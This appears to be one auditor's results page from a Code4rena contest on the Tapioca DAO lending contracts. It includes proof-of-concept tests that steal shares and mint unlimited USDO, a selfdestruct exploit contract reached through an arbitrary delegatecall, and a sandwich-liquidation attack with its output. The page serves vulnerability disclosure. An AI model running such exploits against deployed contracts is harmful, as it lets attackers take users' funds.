Tapioca DAO - Ack's results

The first ever Omnichain money market, powered by LayerZero.

General Information

Platform: Code4rena

Start Date: 05/07/2023

Pot Size: $390,000 USDC

Total HM: 136

Participants: 132

Period: about 1 month

Judge: LSDan

Total Solo HM: 56

Id: 261

League: ETH

Tapioca DAO

Findings Distribution

Researcher Performance

Rank: 11/132

Findings: 14

Award: $6,783.06

🌟 Selected for report: 4

πŸš€ Solo Findings: 0

Findings Information

Awards

26.5521 USDC - $26.55

Labels

bug
3 (High Risk)
primary issue
selected for report
H-05

External Links

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L288 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLCollateral.sol#L27

Vulnerability details

The addCollateral methods in both BigBang and Singularity contracts allow the share parameter to be passed as 0. When share is 0, the equivalent amount of shares is calculated using the YieldBox toShare method. However, there is a modifier named allowedBorrow that is intended to check the allowed borrowing amount for each implementation of the addCollateral methods. Unfortunately, the modifier is called with the share value passed to addCollateral, and in the case of 0, it will always pass.

// MarketERC20.sol
function _allowedBorrow(address from, uint share) internal {
    if (from != msg.sender) {
        if (allowanceBorrow[from][msg.sender] < share) {
            revert NotApproved(from, msg.sender);
        }
        allowanceBorrow[from][msg.sender] -= share;
    }
}

// BigBang.sol
function addCollateral(
    address from,
    address to,
    bool skim,
    uint256 amount,
    uint256 share
    // @audit share is calculated afterwords the modifier
) public allowedBorrow(from, share) notPaused {
    _addCollateral(from, to, skim, amount, share);
}

function _addCollateral(
    address from,
    address to,
    bool skim,
    uint256 amount,
    uint256 share
) internal {
    if (share == 0) {
        share = yieldBox.toShare(collateralId, amount, false);
    }
    userCollateralShare[to] += share;
    uint256 oldTotalCollateralShare = totalCollateralShare;
    totalCollateralShare = oldTotalCollateralShare + share;
    _addTokens(
        from,
        to,
        collateralId,
        share,
        oldTotalCollateralShare,
        skim
    );
    emit LogAddCollateral(skim ? address(yieldBox) : from, to, share);
}

This leads to various critical scenarios in BigBang and Singularity markets where user assets can be stolen, and collateral share can be increased infinitely which in turn leads to infinite USDO borrow/mint and borrowing max assets from Singularity market.

Refer to Proof of Concept for attack examples

Impact

High - allows stealing of arbitrary user yieldbox shares in BigBang contract and Singularity. In the case of BigBang this leads to infinite minting of USDO. Effectively draining all markets and LPs where USDO has value. In the case of Singularity this leads to infinite borrowing, allowing an attacker to obtain possession of all other users' collateral in Singularity.

Proof of concept

  1. Malicious actor can add any user shares that were approved to BigBang or Singularity contracts deployed. This way adversary is stealing user shares that he can unwrap to get underlying collateral provided.
it('allows steal other user YieldBox collateral shares', async () => {
    const {
        wethBigBangMarket,
        weth,
        wethAssetId,
        yieldBox,
        deployer: userA,
        eoa1: userB,
    } = await loadFixture(register);

    await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
    await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);

    const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
        10,
    );
    await weth.freeMint(wethMintVal);
    const valShare = await yieldBox.toShare(
        wethAssetId,
        wethMintVal,
        false,
    );

    // User A deposit assets to yieldbox, receives shares
    await yieldBox.depositAsset(
        wethAssetId,
        userA.address,
        userA.address,
        0,
        valShare,
    );
    let userABalance = await yieldBox.balanceOf(
        userA.address,
        wethAssetId,
    )
    expect(userABalance.gt(0)).to.be.true;
    expect(userABalance.eq(valShare)).to.be.true;

    // User B adds collateral to big bang from user A shares
    await expect(wethBigBangMarket.connect(userB).addCollateral(
        userA.address,
        userB.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")
        .withArgs(wethBigBangMarket.address, userA.address, wethBigBangMarket.address, wethAssetId, valShare);

    userABalance = await yieldBox.balanceOf(
        userA.address,
        wethAssetId,
    )
    expect(userABalance.eq(0)).to.be.true;

    let collateralShares = await wethBigBangMarket.userCollateralShare(
        userB.address,
    );
    expect(collateralShares.gt(0)).to.be.true;
    expect(collateralShares.eq(valShare)).to.be.true;

    // User B removes collateral
    await wethBigBangMarket.connect(userB).removeCollateral(
        userB.address,
        userB.address,
        collateralShares,
    );

    collateralShares = await wethBigBangMarket.connect(userB).userCollateralShare(
        userA.address,
    );
    expect(collateralShares.eq(0)).to.be.true;

    // User B ends up with User A shares in yieldbox
    let userBBalance = await yieldBox.balanceOf(
        userB.address,
        wethAssetId,
    )
    expect(userBBalance.gt(0)).to.be.true;
    expect(userBBalance.eq(valShare)).to.be.true;
});
  1. For Singularity contract this allows to increase collateralShare by the amount of assets provided as collateral infinitely leading to x / x + 1 share of the collateral for the caller with no shares in the pool, where x is the number of times the addColateral is called, effectively allowing for infinite borrowing. As a consequence, the attacker can continuously increase their share of the collateral without limits, leading to potentially excessive borrowing of assets from the Singularity market.
it('allows to infinitely increase user collateral share in BigBang', async () => {
    const {
        wethBigBangMarket,
        weth,
        wethAssetId,
        yieldBox,
        deployer: userA,
        eoa1: userB,
    } = await loadFixture(register);

    await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
    await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);

    const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
        10,
    );
    await weth.freeMint(wethMintVal);
    const valShare = await yieldBox.toShare(
        wethAssetId,
        wethMintVal,
        false,
    );

    // User A deposit assets to yieldbox, receives shares
    await yieldBox.depositAsset(
        wethAssetId,
        userA.address,
        userA.address,
        0,
        valShare,
    );
    let userABalance = await yieldBox.balanceOf(
        userA.address,
        wethAssetId,
    )
    expect(userABalance.gt(0)).to.be.true;
    expect(userABalance.eq(valShare)).to.be.true;

    // User A adds collateral to BigBang
    await wethBigBangMarket.addCollateral(
        userA.address,
        userA.address,
        false,
        wethMintVal,
        0,
    );
    let bigBangBalance = await yieldBox.balanceOf(
        wethBigBangMarket.address,
        wethAssetId,
    )
    expect(bigBangBalance.eq(valShare)).to.be.true;
    let userACollateralShare = await wethBigBangMarket.userCollateralShare(
        userA.address,
    );
    expect(userACollateralShare.gt(0)).to.be.true;
    expect(userACollateralShare.eq(valShare)).to.be.true;
    let userBCollateralShare = await wethBigBangMarket.userCollateralShare(
        userB.address,
    );
    expect(userBCollateralShare.eq(0)).to.be.true;

    // User B is able to increase his share to 50% of the whole collateral added
    await expect(wethBigBangMarket.connect(userB).addCollateral(
        wethBigBangMarket.address,
        userB.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")

    userBCollateralShare = await wethBigBangMarket.userCollateralShare(
        userB.address,
    );

    expect(userBCollateralShare.gt(0)).to.be.true;
    expect(userBCollateralShare.eq(valShare)).to.be.true;

    // User B is able to increase his share to 66% of the whole collateral added
    await expect(wethBigBangMarket.connect(userB).addCollateral(
        wethBigBangMarket.address,
        userB.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")

    userBCollateralShare = await wethBigBangMarket.userCollateralShare(
        userB.address,
    );

    expect(userBCollateralShare.gt(0)).to.be.true;
    expect(userBCollateralShare.eq(valShare.mul(2))).to.be.true;

    // ....
});
  1. In the BigBang contract, this vulnerability allows a user to infinitely increase their collateral shares by providing collateral repeatedly. As a result, the user can artificially inflate their collateral shares provided, potentially leading to an excessive borrowing capacity. By continuously adding collateral without limitations, the user can effectively borrow against any collateral amount they desire, which poses a significant risk to USDO market.
it('allows infinite borrow of USDO', async () => {
    const {
        wethBigBangMarket,
        weth,
        wethAssetId,
        yieldBox,
        deployer: userA,
        eoa1: userB,
    } = await loadFixture(register);

    await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
    await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);

    const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
        10,
    );
    await weth.freeMint(wethMintVal);
    const valShare = await yieldBox.toShare(
        wethAssetId,
        wethMintVal,
        false,
    );

    // User A deposit assets to yieldbox, receives shares
    await yieldBox.depositAsset(
        wethAssetId,
        userA.address,
        userA.address,
        0,
        valShare,
    );
    let userABalance = await yieldBox.balanceOf(
        userA.address,
        wethAssetId,
    )
    expect(userABalance.gt(0)).to.be.true;
    expect(userABalance.eq(valShare)).to.be.true;

    // User A adds collateral to BigBang
    await wethBigBangMarket.addCollateral(
        userA.address,
        userA.address,
        false,
        wethMintVal,
        0,
    );
    let bigBangBalance = await yieldBox.balanceOf(
        wethBigBangMarket.address,
        wethAssetId,
    )
    expect(bigBangBalance.eq(valShare)).to.be.true;
    let userACollateralShare = await wethBigBangMarket.userCollateralShare(
        userA.address,
    );
    expect(userACollateralShare.gt(0)).to.be.true;
    expect(userACollateralShare.eq(valShare)).to.be.true;

    await wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000");

    await expect(
        wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000")
    ).to.be.reverted;

    await expect(wethBigBangMarket.addCollateral(
        wethBigBangMarket.address,
        userA.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")

    await wethBigBangMarket.borrow(userA.address, userA.address, "7500000000000000000000");

    await expect(wethBigBangMarket.addCollateral(
        wethBigBangMarket.address,
        userA.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")

    await wethBigBangMarket.borrow(userA.address, userA.address, "7530000000000000000000");

    // ....
});

Tools Used

Manual review

  • Check allowed to borrow shares amount after evaluating equivalent them

Assessed type

Other

#0 - c4-pre-sort

2023-08-05T02:58:33Z

minhquanym marked the issue as duplicate of #55

#1 - c4-judge

2023-09-12T17:38:47Z

dmvt marked the issue as selected for report

Findings Information

🌟 Selected for report: windhustler

Also found by: Ack

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-1307

Awards

1163.4744 USDC - $1,163.47

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L127,https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L255

Vulnerability details

Vulnerability details

BaseTOFT#exerciseOption is a function for exercising an oTAP position. The reason for this function to be located in BaseTOFT is not immediately clear, but it allows for the caller to exercise an arbitrary oTAP option cross-chain.

However, as written the function takes input from the caller and proceeds to execute calls on the user-supplied addresses with user-supplied parameters, without any input validation. This allows an attacker to drain the contract of any assets it holds, including those that have been deposited via wrap().

The function call chain to exercise an option here is:

1. BaseTOFT#exerciseOption(optionsData, lzData, tapSendData, approvals) (delegatecall) -> 2. BaseTOFTOptionsModule#exerciseOption(...) -> 3. BaseTOFT#_nonblockingLzReceive(PT_TAP_EXERCISE, ...) (delegatecall) -> 4. BaseTOFTOptionsModule#exercise(...) (delegatecall) -> 5. BaseTOFTOptionsModule#exerciseInternal(...)

exerciseInternal() is below:

 function exerciseInternal( // @audit-issue ALL input here are user-supplied and unvalidated
        address from,           // attacker address
        uint256 oTAPTokenID,    // n/a
        address paymentToken,   // n/a
        uint256 tapAmount,      // amount currently wrapped in BaseTOFT
        address target,         // attacker contract, just needs to not revert when `exerciseOption()` is called on it
        ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData
            memory tapSendData, // need to specify withdrawOnAnotherChain as false and tapOftAddress as the address of the token that the TOFT wraps (i.e. the underlying)
        ICommonData.IApproval[] memory approvals // @audit empty
    ) public {
        if (approvals.length > 0) { // @audit length == 0 so skip this
            _callApproval(approvals);
        }

        ITapiocaOptionsBroker(target).exerciseOption( // @audit attacker contract that just doesn't revert 
            oTAPTokenID,
            paymentToken,
            tapAmount
        );
        if (tapSendData.withdrawOnAnotherChain) { // @audit skip this by supplying withdrawOnAnotherChain == false
            ISendFrom(tapSendData.tapOftAddress).sendFrom(
                address(this),
                tapSendData.lzDstChainId,
                LzLib.addressToBytes32(from),
                tapAmount,
                ISendFrom.LzCallParams({
                    refundAddress: payable(from),
                    zroPaymentAddress: tapSendData.zroPaymentAddress,
                    adapterParams: LzLib.buildDefaultAdapterParams(
                        tapSendData.extraGas
                    )
                })
            );
        } else {
            // @audit-issue steal tokens here.
            // "transfer tapAmount of the underlying from this contract to the attacker ('from')"
            IERC20(tapSendData.tapOftAddress).safeTransfer(from, tapAmount); 
        }
    }

Impact

High - direct theft of funds

Proof of concept

This function is untested in the test suite and makes extensive use of layerzero + custom structs, which makes creating a coded POC additionally time-consuming. The attack itself is also relatively straightforward (sending tokens directly to the attacker from the contract). If there is any dispute around the validity of this finding please contact me and I will put one together.

Tools Used

Manual review

I'm not sure if this function is deliberately included in this contract. It should likely be removed, as normal TOFTs do not have options functionality described in the documentation.

Assessed type

Token-Transfer

#0 - c4-pre-sort

2023-08-08T03:22:11Z

minhquanym marked the issue as duplicate of #1307

#1 - c4-judge

2023-09-27T20:16:04Z

dmvt marked the issue as satisfactory

Findings Information

🌟 Selected for report: peakbolt

Also found by: Ack, Nyx, carrotsmuggler, n1punp, rvierdiiev

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-1168

Awards

254.4518 USDC - $254.45

External Links

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L313, https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLLiquidation.sol#L33

Vulnerability details

Vulnerability details

Singularity and BigBang liquidations are designed to take arrays of users and borrowParts as arguments and iterate through the arrays, liquidating each individual user. However, the collateralToAssetSwapData -> swapData -> dexData is a bytes argument that is decoded into a single uint256.

function _liquidateUser( ... bytes calldata dexData // this is the same as collateralToAssetSwapData ) { // ... uint256 minAssetAmount = 0; if (dexData.length > 0) { minAssetAmount = abi.decode(dexData, (uint256)); } // ...

As a result, each liquidation must use the same (likely very low) minAmountOut, as the swap will revert if too high of a value is used. This can result in loss of funds, as this "minAmountOut" is the liquidation's only protection against receiving mispriced (sandwiched) swaps (see #337).

Impact

High - liquidation sandwiches can lead to loss of funds for lenders and protocol insolvency. Separate issue but impact is piggy-backing on #337.

Proof of concept

See #337

Tools Used

Manual review

  • Allow liquidators to specify minAmountOuts for each borrow to be liquidated

Assessed type

Token-Transfer

#0 - c4-pre-sort

2023-08-06T11:32:18Z

minhquanym marked the issue as duplicate of #122

#1 - c4-judge

2023-09-21T12:34:35Z

dmvt marked the issue as satisfactory

Findings Information

Labels

bug
3 (High Risk)
primary issue
selected for report
H-28

Awards

73.0221 USDC - $73.02

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L184-L193 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L160-L168 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L189-L200 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L152-L162 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOLeverageModule.sol#L169-L1788 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOMarketModule.sol#L168-L176 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOOptionsModule.sol#L174-L185

Vulnerability details

All TOFT and USDO modules have public functions that allow an attacker to supply an address module that is later used as a destination for a delegatecall. This can point to an attacker-controlled contract that is used to selfdestruct the module.

    // USDOLeverageModule:leverageUp
    function leverageUp(
        address module,
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload
    ) public {
        // .. snip ..
        (bool success, bytes memory reason) = module.delegatecall( //@audit-issue arbitrary destination delegatecall
            abi.encodeWithSelector(
                this.leverageUpInternal.selector,
                amount,
                swapData,
                externalData,
                lzData,
                leverageFor
            )
        );

        if (!success) {
            if (balanceAfter - balanceBefore >= amount) {
                IERC20(address(this)).safeTransfer(leverageFor, amount);
            }
            revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor
        }
        // .. snip ..
    }

Impact

Both BaseTOFT and BaseUSDO initialize the module addresses to state variables in the constructor. Because there are no setter functions to adjust these variables post-deployment, the modules are permanently locked to the addresses specified in the constructor. If those addresses are selfdestructed, the modules are rendered unusable and all calls to these modules will revert. This cannot be repaired.

BaseUSDO.sol:constructor

    // BaseUSDO.sol:constructor
    constructor(
        address _lzEndpoint,
        IYieldBoxBase _yieldBox,
        address _owner,
        address payable _leverageModule,
        address payable _marketModule,
        address payable _optionsModule
    ) BaseUSDOStorage(_lzEndpoint, _yieldBox) ERC20Permit("USDO") {
        leverageModule = USDOLeverageModule(_leverageModule);
        marketModule = USDOMarketModule(_marketModule);
        optionsModule = USDOOptionsModule(_optionsModule);


        transferOwnership(_owner);
    }

Proof of Concept

Attacker can deploy the Exploit contract below, and then call each of the vulnerable functions with the address of the Exploit contract as the module parameter. This will cause the module to selfdestruct, rendering it unusable.

pragma solidity ^0.8.18;

contract Exploit {
    address payable constant attacker = payable(address(0xbadbabe));
    fallback() external payable {
        selfdestruct(attacker);
    }
}

Tools Used

Manual Review

The module parameter should be removed from the calldata in each of the vulnerable functions. Since the context of the call into these functions are designed to be delegatecalls and the storage layouts of the modules and the Base contracts are the same, the module address can be retreived from storage instead. This will prevent attackers from supplying arbitrary addresses as delegatecall destinations.

Assessed type

call/delegatecall

#0 - c4-pre-sort

2023-08-05T11:17:50Z

minhquanym marked the issue as duplicate of #146

#1 - c4-judge

2023-09-13T10:24:04Z

dmvt marked the issue as selected for report

Findings Information

🌟 Selected for report: Ack

Also found by: 0xG0P1, KIntern_NA, cergyk, rvierdiiev

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
selected for report
M-44

Awards

132.315 USDC - $132.31

External Links

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLLeverage.sol#L147-L186 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L336-L375

Vulnerability details

BigBang and Singularity both have a buyCollateral function designed to allow users to lever up by borrowing more assets and buying collateral with it. In BigBang this is a public function, and in Singularity this is a accessible through a public function that ties into the SGLLeverage module. Effectively these have the same implementation.

Due to an ineffective check on the swap's final output collateralShare, an attacker can steal any user's approvals of asset to BigBang or Singularity. An attacker can also cause any user to borrow extra assets and buy collateral with it up until the point that the user is barely still solvent. Combined with a sandwich attack this can be used to steal the new collateral.

Notably the function takes a address from parameter, which allows the caller to specify any address as the user that is borrowing and buying collateral. Two checks are attempted to prevent this from being abused:

  • the solvent(from) modifier
  • the _allowedBorrow(from, collateralShare) check

In actuality, the solvent(from) only limits the damage and the _allowedBorrow(from, collateralShare) check can be manipulated or outright bypassed.

Impact

The exploit hinges on abusing the _allowedBorrow(from, collateralShare) check. This is designed to check the allowance of msg.sender for from, but will pass in all cases if collateralShare is 0.

function _allowedBorrow(address from, uint share) internal {
    if (from != msg.sender) {
        if (allowanceBorrow[from][msg.sender] < share) {
            revert NotApproved(from, msg.sender);
        }
        allowanceBorrow[from][msg.sender] -= share;
    }
}

In order to get collateralShare as 0, the amountOut of the swapper.swap() call must be 0.

(amountOut, collateralShare) = swapper.swap(
    swapData,
    minAmountOut, //@audit minAmountOut attacker supplied
    from,
    dexData
);

The attacker provides minAmountOut, and in certain instances can manipulate the swap using a sandwich to return 0.

The protocol initially has 3 Swappers listed:

  • UniswapV2Swapper
  • UniswapV3Swapper
  • CurveSwapper

The UniswapV2Swapper and UniswapV3Swapper are both vulnerable to this attack, though with exceptions.

For UniswapV2Swapper, with a large enough flashmint the attacker can skew the curve enough to return 0. This would require reserves to be small and the flashmint to be inexpensive, but both are possible. BigBang supports USDO flashmints and has admin-setter functions for flashmint fees and max limits that both don't have bounds. Seems reasonable to think the flashmints have potential to be free and unlimited.

For UniswapV3Swapper, the same scenario as V2 applies as well as the possibility that full-range liquidity is not supplied. In this case the attacker needs less capital to skew the curve enough to return 0.

CurveSwapper is not vulnerable to this attack, as in the implementation it is not possible to return 0.

// CurveSwapper.sol
function _swapTokensForTokens(
    int128 i,
    int128 j,
    uint256 amountIn,
    uint256 amountOutMin
) private returns (uint256) {
    // .. snip
    curvePool.exchange(i, j, amountIn, amountOutMin);

    uint256 balanceAfter = IERC20(tokenOut).balanceOf(address(this));
    require(balanceAfter > balanceBefore, "swap failed");

    return balanceAfter - balanceBefore; //@audit always > 0
}

It seems reasonable to assume that in the future new swappers could be introduced - such as support for UniswapX. In a case of a new swapper implementation where a user is directly filled for minAmountOut, this vulnerability becomes trivial to exploit.

In a much more simple case than the amountOut == 0 extreme, if the attacker has any approvals from a user to borrow, that allowance can be abused. All of the current swappers are vulnerable to attacker sandwiches, which lowers amountOut. While having amountOut == 0 is difficult, skewing any of the swappers to have amountOut < allowanceBorrow[from][msg.sender] is much easier.

Stealing Approvals

Attacker controls supplyAmount and from. This portion of the code means any user's approvals of asset to BigBang or Singularity can be sent to the swapper.

uint256 supplyShare = yieldBox.toShare(assetId, supplyAmount, true);
if (supplyShare > 0) {
    yieldBox.transfer(from, address(swapper), assetId, supplyShare);
}

Stealing Collateral

Attacker controls borrowAmount and from. This portion of the code performs the _borrow action for the user up to borrowAmount.

uint256 borrowShare;
(, borrowShare) = _borrow(from, address(swapper), borrowAmount); //USDO shares

Note that the from user's solvency is checked at the end of the function via the solvent(from) modifier, so the attacker cannot cause a borrow that brings the user to insolvency.

Summary

In the maximum impact case, an attacker can steal any user's approvals of asset to BigBang or Singularity as well as force any user to borrow extra assets and buy collateral with it up until the point that the user is barely still solvent. Combined with a sandwich attack this can be used to steal the approved assets as well as the new collateral.

In the case that has reduced surface but easier replication, any user that has pre-approved another user for allowanceBorrow[from][msg.sender] falls victim to these same attacks.

Proof of Concept

The PoC hinges on the atomic sandwich of the swapper.

  1. Flashmint USDO or flashloan other asset to get USDO via another swapper.
  2. Sell USDO for tOFT in swapper to skew price
  3. call buyCollateral(target, max_borrowable, full_approvals, 0, swapper, dexData)
    1. this calldata will have the yieldbox.transfer line move all of the user's asset approvals to the swapper.
    2. this calldata will have the _borrow() line move extra borrowed assets to the swapper.
    3. swapper.swap() will fetch (0, 0) due to the skewed price
    4. _allowedBorrow() passes
    5. solvent(from) checks for the user's solvency, which passes
  4. Sell original tOFT into swapper for USDO at improved price
  5. Repay flashloan

Tools Used

Manual Review

Perform transfer allowance checks for the user's approvals before performing the yieldBox.transfer(from, address(swapper), assetId, supplyShare);

Perform the _allowedBorrow check for the borrowShare`` that takes place before swapper.swap. ie: if (borrowShare > 0) { _allowedBorrow(from, borrowShare); }`

Assessed type

Other

#0 - c4-pre-sort

2023-08-05T12:30:37Z

minhquanym marked the issue as duplicate of #147

#1 - c4-judge

2023-09-13T11:50:07Z

dmvt changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-09-13T11:53:09Z

dmvt marked the issue as selected for report

Findings Information

🌟 Selected for report: Ack

Also found by: Koolex

Labels

bug
2 (Med Risk)
disagree with severity
downgraded by judge
primary issue
selected for report
sponsor confirmed
edited-by-warden
M-73

Awards

453.755 USDC - $453.76

External Links

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLLiquidation.sol#L294-L368,https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L618

Vulnerability details

Vulnerability details

When a user's Singularity or BigBang borrow position becomes insolvent (i.e. the value of their collateral * the collateralization rate is worth less than their borrowed amount), anyone is able to call:

BigBang/SGLLiquidation#liquidate(
        address[] calldata users, // users to liquidate
        uint256[] calldata maxBorrowParts, // their borrow
        ISwapper swapper, // swapper, checked to be valid
        bytes calldata collateralToAssetSwapData, // serves as minAmountOut
        bytes calldata usdoToBorrowedSwapData // n/a
    ) external notPaused {

The key point here is that collateralToAssetSwapData is decoded into the swap's minAmountOut and is caller provided. Assuming there is no LiquidationQueue with sufficient bids, a closed liquidation will be performed (the protocol sells the collateral that it is holding).

The function call sequence will be liquidate() -> _closedLiquidation() -> _liquidateUser(). Both contracts are vulnerable to the same exploit.

function _liquidateUser(...) {
    // snipped (calculate LTV, liquidation reward for caller)

    // Closed liquidation
    // Transfer yieldbox shares directly from Singularity to the Swapper. 
    // !!! The liquidator does NOT provide any of his own funds !!!
    yieldBox.transfer(
        address(this),
        address(swapper),
        collateralId,
        collateralShare
    );

    // Decode the caller-provided minAssetAmount (serves as minAmountOut in the swap - can be 0)
    uint256 minAssetAmount = 0;
    if (dexData.length > 0) {
        minAssetAmount = abi.decode(dexData, (uint256));
    }

    ISwapper.SwapData memory swapData = swapper.buildSwapData(
        collateralId,
        assetId,
        0,
        collateralShare,
        true, // withdrawFromYieldbox
        true  // depositToYieldbox
    );
    swapper.swap(swapData, minAssetAmount, address(this), "");

Because we are executing a closed liquidation (funds are transferred directly from Singularity to the Swapper) and the liquidator can specify a minAmountOut of 0, an attacker can execute a sandwich attack on their own call to .liquidate() and steal the entire amount being liquidated. Note that this can all be executed in one transaction and does not require any transaction bundling techniques like traditional sandwich attacks.

Below is a proof of concept that performs the following:

  1. Mints 10,000 weth to deployer and lends it in a WETH/USDC Singularity pair
  2. Mints 10,000,000 USDC to eoa1, deposits it as collateral, and borrows 7400 WETH (74%)
  3. Performs a price drop of 10% so that the borrower's position is now insolvent (75% limit)

There are then two cases, a happy case an an evil case

  • Happy case:

    1. The borrower is correctly partially liquidated - the protocol sells 4,959,339 USDC of collateral for 4920 WETH. The protocol has a final balance of 7520 WETH and 5040660 USDC
  • Evil case:

    1. Mints 1,000,000 USDC to an attacker, who then swaps it for 996 WETH, imbalancing the pool
    2. Liquidate is called (the attacker is NOT the one to call it - he does not receive any reward); the protocol sells 4,959,339 USDC of collateral for 4910 WETH (10 eth). The protocol has a final balance of 7510 WETH and 5040660 USDC
    3. The attacker sells his 996 WETH back for 1003869 USDC, essentially stealing $3,869 from the lender.

Note that this POC is limited by the freeMint() restrictions in the ERC20 mocks - while the attacker is slightly profitable in this example as POC, he could steal the entire amount being liquidated by imbalancing the pool more.

Both Singularity and Big Bang are vulnerable to this exploit.

Impact

High

Proof of Concept

Drop the test below into singularity.test.ts. Output is shown (note the profitibality in the attacker's usdc balance after, as well as the difference between the two cases in "yieldbox strategy weth balance after")

EVIL CASE yieldbox before: yieldbox strategy weth balance before: 2600 yieldbox strategy usdc balance before: 10000000 liquidatee borrowpart before: 7403700000000000000000 attacker before: atkEoa usdc balance before first swap: 1000000 atkEoa weth balance before first swap: 0 atkEoa usdc balance after first swap: 0 atkEoa weth balance after first swap: 996 liquidating... yieldbox after: yieldbox strategy weth balance after: 7510 diff: 4910 yieldbox strategy usdc balance after: 5040660 diff: -4959339 liquidatee borrowpart after: 3378262499999999999993 attacker after: atkEoa usdc balance after second swap: 1003869 atkEoa weth balance after second swap: 0 βœ” evil case liquidation (1094ms) HAPPY CASE yieldbox before: yieldbox strategy weth balance before: 2600 yieldbox strategy usdc balance before: 10000000 victim borrowpart before: 7403700000000000000000 liquidating... yieldbox after: yieldbox strategy weth balance after: 7520 diff: 4920 yieldbox strategy usdc balance after: 5040660 diff: -4959339 victim borrowpart after: 3378262499999999999993 βœ” happy case liquidation (no sandwich) (592ms)

gist linkΒ to test: https://gist.github.com/g-01234/71c1901b55db630ec417970754a45794

Tools Used

Manual review

  • Consider using oracle prices instead of allowing liquidators to specify the minAmountOut - see Compound's Comptroller#liquidateCalculateSeizeTokens

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-08-06T11:04:15Z

minhquanym marked the issue as primary issue

#1 - 0xRektora

2023-08-16T16:06:54Z

Duplicates of #157

#2 - c4-sponsor

2023-09-06T06:13:59Z

cryptotechmaker marked the issue as disagree with severity

#3 - cryptotechmaker

2023-09-06T06:16:42Z

ERC20Mocks is not used in production. However, the scenario is still valid, but unlikely to happen because the attacker has to respect some prerequisites mainly involving holding huge amounts of that respective asset, one being USDO which can be minted using BigBang (for which you have to provide collateral) or bought from DEXes.

Medium would be a more fair tag for the issue.

#4 - c4-sponsor

2023-09-06T06:16:51Z

cryptotechmaker (sponsor) confirmed

#5 - c4-judge

2023-09-21T12:27:13Z

dmvt changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-09-21T12:28:10Z

dmvt marked the issue as selected for report

Awards

2.1417 USDC - $2.14

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-163

External Links

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/Penrose.sol#L232-L248

Vulnerability details

Market fees in the tapioca ecosystem get collected via withdrawAllMarketFees. This function allows each market to withdraw its accrued fees, convert the tokens to the native asset, and send them to yieldbox.

The withdrawAllMarketFees function is publicly callable and does not limit who can execute this function. It also does not validate the minAssetAmount parameter, which specifies the minimum asset amount for the swap operation.

